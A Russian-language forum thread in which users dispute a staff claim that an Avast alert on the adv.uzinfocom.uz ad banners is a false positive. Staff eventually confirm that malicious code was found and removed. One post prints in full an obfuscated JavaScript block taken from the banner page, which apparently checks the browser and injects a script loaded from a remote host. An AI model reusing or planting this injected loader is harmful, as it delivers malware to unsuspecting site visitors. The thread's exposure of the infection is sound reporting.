«БЕЗОПАСНЫЕ» НОВОСТИ

[Eldar Ishimbaev]

Иванов Михаил, это ЛОЖНОЕ СРАБАТЫВАНИЕ только антивируса Avast. Ничего не инфицировано. Я уже лично отписал в техподдержку Avast.

[Иванов Михаил]

Сообщение от Eldar Ishimbaev

Иванов Михаил, это ЛОЖНОЕ СРАБАТЫВАНИЕ только антивируса Avast. Ничего не инфицировано. Я уже лично отписал в техподдержку Avast.

Если нет ни чего вредоносного, тогда что это за js с регулярными выражениями на странице с баннером ?

<script>try{$_=~[];$_={___:++$_,$$$$![]+"")[$_],__$:++$_,$_$_![]+"")[$_],_$_:++$_,$_$${}+"")[$_],$$_$$_[$_]+"")[$_],_$$:++$_,$$$_!""+"")[$_],$__:++$_,$_$:++$_,$$__{}+"")[$_],$$_:++$_,$$$:++$_,$___:++$_,$__$:++$_};$_.$_=($_. $_=$_+"")[$_.$_$]+($_._$=$_.$_[$_.__$])+($_.$$=($_.$+"")[$_.__$])+((!$_)+"")[$_._$$]+($_.__=$_.$_[$_.$$_])+($_.$=(!""+"")[$_.__$])+($_._=(!""+"")[$_._$_])+$_.$_[$_.$_$]+$_.__+$_._$+$_.$;$_.$$=$_.$+(!""+"")[$_._$$]+$_.__+$_._+$_.$+$_.$$;$_.$=($_.___)[$_.$_][$_.$_];$_.$($_.$($_.$$+"\""+$_.$$_$+"="+$_.$$_$+$_._$+$_ .$$__+$_._+"\\"+$_.__$+$_.$_$+$_.$_$+$_.$$$_+"\\"+ $_.__$+$_.$_$+$_.$$_+$_.__+";"+$_._+$_.$_$_+"=\\"+ $_.__$+$_.$_$+$_.$$_+$_.$_$_+"\\"+$_.__$+$_.$$_+$_ .$$_+"\\"+$_.__$+$_.$_$+$_.__$+"\\"+$_.__$+$_.$__+ $_.$$$+$_.$_$_+$_.__+$_._$+"\\"+$_.__$+$_.$$_+$_._ $_+"."+$_._+"\\"+$_.__$+$_.$$_+$_._$$+$_.$$$_+"\\" +$_.__$+$_.$$_+$_._$_+"\\"+$_.__$+$_.___+$_.__$+"\ \"+$_.__$+$_.$__+$_.$$$+$_.$$$_+"\\"+$_.__$+$_.$_$ +$_.$$_+$_.__+";\\"+$_.__$+$_.$_$+$_.__$+$_.$$$$+" ("+$_.$$_$+"._\\"+$_.__$+$_.$$$+$_._$_+"\\"+$_.__$ +$_.$$$+$_.___+"==="+$_._+"\\"+$_.__$+$_.$_$+$_.$$ _+$_.$$_$+$_.$$$_+$_.$$$$+"\\"+$_.__$+$_.$_$+$_.__ $+"\\"+$_.__$+$_.$_$+$_.$$_+$_.$$$_+$_.$$_$+"\\"+$ _.$__+$_.___+"&&\\"+$_.$__+$_.___+$_.$$_$+"."+$_.$ $__+$_._$+$_._$+"\\"+$_.__$+$_.$_$+$_._$$+"\\"+$_. __$+$_.$_$+$_.__$+$_.$$$_+".\\"+$_.__$+$_.$$_+$_._ $$+$_.$$$_+$_.$_$_+"\\"+$_.__$+$_.$$_+$_._$_+$_.$$ __+"\\"+$_.__$+$_.$_$+$_.___+"('_"+$_._+$_.__+"\\" +$_.__$+$_.$_$+$_.$_$+$_._+$_.$$_$+"=')==-"+$_.__$+"\\"+$_.$__+$_.___+"&&\\"+$_.$__+$_.___+$ _._+$_.$_$_+".\\"+$_.__$+$_.$$_+$_._$$+$_.$$$_+$_. $_$_+"\\"+$_.__$+$_.$$_+$_._$_+$_.$$__+"\\"+$_.__$ +$_.$_$+$_.___+"('\\"+$_.__$+$_._$_+$_.$$$+"\\"+$_ .__$+$_.$_$+$_.__$+"\\"+$_.__$+$_.$_$+$_.$$_+$_.$$ _$+$_._$+"\\"+$_.__$+$_.$$_+$_.$$$+"\\"+$_.__$+$_. $$_+$_._$$+"\\"+$_.$__+$_.___+"\\"+$_.__$+$_.__$+$ _.$$_+"\\"+$_.__$+$_._$_+$_.$__+"\\"+$_.$__+$_.___ +"')>"+$_.___+"\\"+$_.$__+$_.___+"&&\\"+$_.$__+$_. ___+$_._+$_.$_$_+".\\"+$_.__$+$_.$$_+$_._$$+$_.$$$ _+$_.$_$_+"\\"+$_.__$+$_.$$_+$_._$_+$_.$$__+"\\"+$ _.__$+$_.$_$+$_.___+"('\\"+$_.__$+$_.__$+$_.$_$+"\ \"+$_.__$+$_._$_+$_._$$+"\\"+$_.__$+$_.__$+$_.__$+ "\\"+$_.__$+$_.___+$_.$_$+"\\"+$_.$__+$_.___+"')>" +$_.___+")\\"+$_.$__+$_.___+"{"+$_.$$_$+"._\\"+$_. __$+$_.$$$+$_._$_+"\\"+$_.__$+$_.$$$+$_.___+"="+$_ .__$+";"+$_.$$_$+"."+$_.$$__+$_._$+$_._$+"\\"+$_._ _$+$_.$_$+$_._$$+"\\"+$_.__$+$_.$_$+$_.__$+$_.$$$_ +"='__"+$_._+$_.__+"\\"+$_.__$+$_.$_$+$_.$_$+$_._+ $_.$$_$+"="+$_.__$+";\\"+$_.$__+$_.___+$_.$$$_+"\\ "+$_.__$+$_.$$$+$_.___+"\\"+$_.__$+$_.$$_+$_.___+" \\"+$_.__$+$_.$_$+$_.__$+"\\"+$_.__$+$_.$$_+$_._$_ +$_.$$$_+"\\"+$_.__$+$_.$$_+$_._$$+"=\\"+$_.__$+$_ ._$_+$_.$$$+$_.$$$_+$_.$$_$+",\\"+$_.$__+$_.___+$_ .___+$_.__$+"\\"+$_.$__+$_.___+"\\"+$_.__$+$_.__$+ $_._$_+$_.$_$_+"\\"+$_.__$+$_.$_$+$_.$$_+"\\"+$_.$ __+$_.___+$_._$_+$_.___+$_._$_+$_.___+"\\"+$_.$__+ $_.___+$_.___+$_.___+":"+$_.___+$_.___+":"+$_.___+ $_.___+"\\"+$_.$__+$_.___+"\\"+$_.__$+$_._$_+$_.$_ $+"\\"+$_.__$+$_._$_+$_.$__+"\\"+$_.__$+$_.___+$_. _$$+";\\"+$_.$__+$_.___+"\\"+$_.__$+$_.$$_+$_.___+ $_.$_$_+$_.__+"\\"+$_.__$+$_.$_$+$_.___+"=/';"+$_.$$_$+".\\"+$_.__$+$_.$$_+$_.$$$+"\\"+$_.__$ +$_.$$_+$_._$_+"\\"+$_.__$+$_.$_$+$_.__$+$_.__+$_. $$$_+(![]+"")[$_._$_]+"\\"+$_.__$+$_.$_$+$_.$$_+"(\\\"<\\"+$_.__$+$_.$$ _+$_._$$+$_.$$__+"\\"+$_.__$+$_.$$_+$_._$_+"\\\"+\ \\"\\"+$_.__$+$_.$_$+$_.__$+"\\"+$_.__$+$_.$$_+$_. ___+$_.__+"\\"+$_.$__+$_.___+"\\"+$_.__$+$_.$$_+$_ ._$$+"\\"+$_.__$+$_.$$_+$_._$_+$_.$$__+"='\\"+$_._ _$+$_.$_$+$_.___+$_.__+$_.__+"\\"+$_.__$+$_.$$_+$_ .___+"://"+$_.$_$$+"\\"+$_.__$+$_.$$_+$_._$_+"\\"+$_.__$+$_ .$_$+$_.__$+"\\"+$_.__$+$_.$_$+$_.$$_+"\\"+$_.__$+ $_.$$_+$_._$$+"."+$_.$_$$+"\\"+$_.__$+$_.$_$+$_.__ $+"\\"+$_.__$+$_.$$$+$_._$_+"/"+$_.$_$+$_.$_$$+$_.$_$$+$_.$_$$+$_.___+$_.$$$_+$_ ._$_+$_.__$+".\\"+$_.__$+$_.$_$+$_._$_+"\\"+$_.__$ +$_.$$_+$_._$$+"?"+$_.$$__+"\\"+$_.__$+$_.$$_+$_._ __+"="+$_.$_$_+$_.$$_$+"\\"+$_.__$+$_.$$_+$_.$$_+" ."+$_._+"\\"+$_.__$+$_.$$$+$_._$_+"\\"+$_.__$+$_.$ _$+$_.__$+"\\"+$_.__$+$_.$_$+$_.$$_+$_.$$$$+$_._$+ $_.$$__+$_._$+"\\"+$_.__$+$_.$_$+$_.$_$+"."+$_._+" \\"+$_.__$+$_.$$$+$_._$_+"'></\\"+$_.__$+$_.$$_+$_._$$+$_.$$__+"\\"+$_.__$+$_.$$ _+$_._$_+"\\"+$_.__$+$_.$_$+$_.__$+"\\\"+\\\"\\"+$ _.__$+$_.$$_+$_.___+$_.__+">\\\");}"+"\"")())();}c atch(e){}</script>

[Котофей]

Сообщение от Иванов Михаил

с регулярными выражениями

Это не регулярки, это обфускация
http://habrahabr.ru/post/112530/

[Иванов Михаил]

Сообщение от Котофей

Это не регулярки, это обфускация
http://habrahabr.ru/post/112530/

Я на столько не разбираюсь в js/ А как его декомпилировать или расшифровать? Возможно это и не "вирус", но часто именно к скрытию кода прибегают создатели вирусов.
UPD вот похожий код http://www.linux.org.ru/forum/web-development/5547798

[Ramil Ziganshin]

Сообщение от Иванов Михаил

Если нет ни чего вредоносного, тогда что это за js с регулярными выражениями на странице с баннером ?

Ведем анализ. По результатам отпишемся.

[Иванов Михаил]

Сообщение от Eldar Ishimbaev

Иванов Михаил, это ЛОЖНОЕ СРАБАТЫВАНИЕ только антивируса Avast. Ничего не инфицировано. Я уже лично отписал в техподдержку Avast.

Сообщение от Ramil Ziganshin

Ведем анализ. По результатам отпишемся.

Возможно пока вы ведете анализ следует отключить рекламную сеть http://adv.uzinfocom.uz/ ?
Вдруг вы ошибаетесь и это не ложное срабатывание?
Я помню как uza.uz не признавало заражение на своем сайте. А "заражение" присутствовало.

[Ramil Ziganshin]

Сообщение от Иванов Михаил

Возможно пока вы ведете анализ следует отключить рекламную сеть http://adv.uzinfocom.uz/ ?
Вдруг вы ошибаетесь и это не ложное срабатывание?
Я помню как uza.uz не признавало заражение на своем сайте. А "заражение" присутствовало.

Нашли вредоносный код. Удалили.

[Ramil Ziganshin]

Сообщение от Иванов Михаил

Если нет ни чего вредоносного, тогда что это за js с регулярными выражениями на странице с баннером ?

Спасибо за сообщение. Проведем ревизию, усилим защиту.

[ratheon]

Сообщение от Ramil Ziganshin

Спасибо за сообщение. Проведем ревизию, усилим защиту.

о реакции антивирусов на ваши рекламные баннеры уже писали полтора месяц назад, видимо "доходит" не с первого раза

[Anvar Atakhanov]

Полцарства тому кто устранить эту проблему:


Задолбал уже